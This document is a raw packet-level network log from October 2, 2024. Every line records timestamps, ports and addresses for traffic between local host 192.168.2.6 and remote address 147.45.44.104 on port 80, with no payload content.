Oct 2, 2024 17:17:28.809942007 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.809947014 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.809947014 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.809947014 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.809961081 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.809981108 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810034990 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810034990 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810035944 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810035944 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810487986 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810544014 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810569048 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810592890 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810597897 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810645103 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810684919 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810684919 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810697079 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810733080 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810766935 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810784101 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810801029 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810825109 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810837030 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810848951 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810869932 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810887098 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810904980 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:28.810918093 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:28.810959101 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.083198071 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.088083982 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.275887012 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.275909901 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.275923967 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.275954962 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.275963068 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.275966883 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.275979042 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.275991917 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276002884 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276010036 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276022911 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276026011 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276036978 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276048899 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276066065 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276087046 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276093006 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276098013 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276110888 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276124954 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276127100 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276138067 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276143074 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276151896 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276163101 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276165009 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276177883 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276194096 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276211023 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276215076 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276227951 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276235104 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276253939 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276268005 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276307106 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276319027 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276330948 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276345015 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276355982 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276357889 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276371002 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276386976 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276402950 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276429892 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276468039 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276480913 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276505947 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276518106 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276529074 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276536942 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276542902 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276555061 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276567936 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276567936 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276583910 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276597977 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276632071 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276662111 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276673079 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276686907 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276699066 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276711941 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276719093 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276751041 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276820898 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276833057 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276844978 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276858091 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276863098 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276864052 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276870012 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276880980 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.276887894 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276909113 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276933908 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.276988029 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.277029991 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.277167082 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.277208090 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.277369976 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.277381897 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.277393103 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.277410984 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.277431965 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.277529955 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.277571917 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.279660940 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279671907 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279683113 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279695988 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279706955 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279712915 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.279720068 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279731989 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279736996 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.279742956 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279756069 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279768944 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279778957 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.279795885 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.279808044 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279814959 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.279820919 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279833078 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279844999 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279848099 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.279855967 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279865026 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.279869080 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279879093 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279882908 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.279923916 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.279969931 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279983044 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.279994011 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280006886 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280018091 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280025005 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280045033 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280055046 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280168056 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280180931 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280190945 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280204058 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280215979 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280221939 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280225992 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280237913 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280249119 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280249119 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280260086 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280267954 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280271053 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280282974 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280297041 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280306101 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280318022 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280328989 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280333996 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280342102 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280354023 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280355930 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280369043 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280385017 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280411959 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280507088 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280519009 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280530930 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280543089 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280555964 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280558109 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280567884 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280581951 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280582905 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280591011 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280622959 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280687094 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280699968 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280711889 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280723095 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280729055 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280735016 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280746937 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280752897 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280759096 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280771017 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280782938 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280783892 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280793905 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280802011 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280805111 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280818939 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280827999 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280831099 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280844927 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280857086 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280864954 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280868053 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280881882 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280890942 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280890942 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280895948 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.280925989 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.280950069 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366441011 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366472006 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366485119 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366498947 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366511106 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366523027 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366544008 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366554022 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366563082 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366574049 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366585970 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366596937 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366611004 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366612911 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366624117 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366628885 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366636992 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366657972 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366658926 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366672039 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366676092 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366684914 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366697073 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366703987 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366708994 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366720915 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366723061 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366734028 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366749048 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366758108 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366760969 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366774082 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366784096 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366786003 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366806030 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366815090 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366827965 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366830111 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366842031 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366853952 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366856098 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366864920 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366875887 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366875887 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366888046 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366902113 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366903067 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366914988 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366925955 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366930962 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366936922 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366947889 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366951942 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366961002 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.366965055 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366981030 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.366992950 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367005110 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367016077 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367023945 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367037058 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367043018 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367052078 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367055893 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367063046 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367072105 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367074966 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367095947 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367115021 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367119074 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367130995 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367136002 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367144108 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367156029 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367160082 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367171049 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367182970 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367193937 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367212057 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367212057 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367227077 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367261887 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367274046 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367285967 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367306948 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367310047 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367319107 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367325068 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367331028 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367343903 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367352962 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367355108 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367367029 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367378950 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367382050 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367402077 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367404938 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367415905 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367420912 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367432117 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367444038 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367460966 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367566109 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367578030 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367589951 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367603064 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367613077 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367614985 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367626905 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367633104 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367649078 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367660046 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367674112 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367677927 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367687941 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367698908 CEST	65281	80	192.168.2.6	147.45.44.104
